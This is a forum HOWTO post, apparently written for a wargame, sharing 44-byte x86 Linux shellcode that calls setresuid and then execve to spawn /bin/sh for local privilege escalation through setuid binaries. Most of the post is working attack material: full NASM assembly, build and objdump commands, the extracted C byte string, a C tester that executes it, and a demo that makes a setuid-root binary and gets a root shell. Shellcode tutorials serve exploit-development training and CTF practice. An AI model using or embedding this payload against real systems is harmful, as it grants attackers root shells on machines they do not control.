HOWTO: x86 setresuid execve shellcode (44 bytes)

2 replies [Last post]
jip
jip's picture
Offline
SX Retired
Joined: 2011/11/06

I wrote the following x86 shellcode for a wargame and I thought I would share it here so you guys can mess with it. The shellcode calls setresuid first in order to execute with maximum privileges when you are exploiting a setuid binary. Then it calls execve to spawn a shell. This is probably the most basic shellcode and is only suitable for local exploitation.

Pseudocode:

uid = geteuid()
setresuid(uid, uid, uid)
execve("//bin/sh", {"//bin/sh", NULL}, NULL)

Assembly:

; x86 setresuid execve shellcode (44 bytes)
; [email protected]
bits 32
global _start

section .text
_start:
        nop
       
        ; call geteuid
        xor eax, eax
        mov al, 0x31
        int 0x80

        ; call setresuid
        mov ebx, eax
        mov ecx, eax
        mov edx, eax
        xor eax, eax
        mov al, 0xa4
        int 0x80

        ; call execve
        xor eax, eax
        push eax
        push 0x68732f6e
        push 0x69622f2f
        mov ebx, esp
        push eax
        mov edx, esp
        push ebx
        mov ecx, esp
        mov al, 11
        int 0x80

To turn this assembly into usable shellcode you will have to assemble it into an ELF executable, and then extract the shellcode from that. You will need nasm to assemble the file:

$ nasm -f elf32 shellcode.asm -o shellcode.o && ld -m elf_i386 shellcode.o -o shellcode

You can then use objdump to dump the .text section (instructions) of the binary you just built:

$ objdump -M intel -D ./shellcode

./shellcode:     file format elf32-i386


Disassembly of section .text:

08048060 <_start>:
 8048060:       90                      nop
 8048061:       31 c0                   xor    eax,eax
 8048063:       b0 31                   mov    al,0x31
 8048065:       cd 80                   int    0x80
 8048067:       89 c3                   mov    ebx,eax
 8048069:       89 c1                   mov    ecx,eax
 804806b:       89 c2                   mov    edx,eax
 804806d:       31 c0                   xor    eax,eax
 804806f:       b0 a4                   mov    al,0xa4
 8048071:       cd 80                   int    0x80
 8048073:       31 c0                   xor    eax,eax
 8048075:       50                      push   eax
 8048076:       68 6e 2f 73 68          push   0x68732f6e
 804807b:       68 2f 2f 62 69          push   0x69622f2f
 8048080:       89 e3                   mov    ebx,esp
 8048082:       50                      push   eax
 8048083:       89 e2                   mov    edx,esp
 8048085:       53                      push   ebx
 8048086:       89 e1                   mov    ecx,esp
 8048088:       b0 0b                   mov    al,0xb
 804808a:       cd 80                   int    0x80

The byte-values in the second column (starting with 90) represent the processor instructions (opcodes) for your shellcode. Take these and smash them together into a c-style string:

x86 setresuid execve shellcode (44 bytes):

char shellcode[] =
    "\x90\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x89\xc2\x31\xc0\xb0\xa4\xcd\x80\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";

You can test the shellcode by pasting it into the following tester:

int main(void) {
    char shellcode[] =
        "\x90\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x89\xc2\x31\xc0\xb0\xa4\xcd\x80\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
       
    (*(void(*)()) shellcode)();
}

You have to compile this with the -z execstack flag in order to test your shellcode since the stack is not executable by default:

$ gcc -m32 -z execstack tester.c -o tester
$ sudo chown root tester
$ sudo chmod +s tester
$ ./tester
# rm tester && echo "Yay r00t!" && exit
Yay r00t!

AttachmentSize
shellcode.asm_.txt427 bytes
tester.c.txt271 bytes